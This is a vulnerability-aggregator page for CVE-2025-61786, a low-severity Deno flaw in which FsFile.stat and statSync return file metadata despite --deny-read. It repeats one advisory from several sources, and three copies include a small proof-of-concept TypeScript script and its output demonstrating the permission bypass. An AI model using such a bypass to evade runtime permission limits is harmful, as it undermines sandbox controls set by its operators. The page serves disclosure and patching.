Every CVE Search/ Get API key

CVE-2025-61786

Deno's --deny-read check does not prevent permission bypass

3.3 LowFix available

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.20%Up 0.2 points since Oct 8, 2025
90%50%10%1%

What each source reports

CVE List Score used 3.3

Deno's --deny-read check does not prevent permission bypass

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61786
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-269
Updated
2026-11-02
EUVDEUVD-2025-33180 3.3

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
EUVD-2025-33180
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-qq26-84mh-26j9 3.3

Deno's --deny-read check does not prevent permission bypass

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Record
GHSA-qq26-84mh-26j9
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-269
Updated
2026-11-02
NVD 3.3

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61786
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-269
Updated
2026-11-02
OSV 3.3

Deno's --deny-read check does not prevent permission bypass

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Record
CVE-2025-61786
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-269
Updated
2026-11-02
OSVGHSA-qq26-84mh-26j9 3.3

Deno's --deny-read check does not prevent permission bypass

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Record
GHSA-qq26-84mh-26j9
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Weakness
CWE-269
Updated
2026-11-02
OSVJLSEC-2026-112 3.3

Deno's --deny-read check does not prevent permission bypass

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
  • poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...
  • deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Record
JLSEC-2026-112
CVSS 3.1
3.3 LowCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
deno
crates.io
before 2.5.3
2.5.3
Deno_jll
Julia
before 2.6.3+0
2.6.3+0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-61786 is a low vulnerability (CVSS 3.3) in Deno, published October 8, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in deno 2.5.3.

References

MoveEnter Open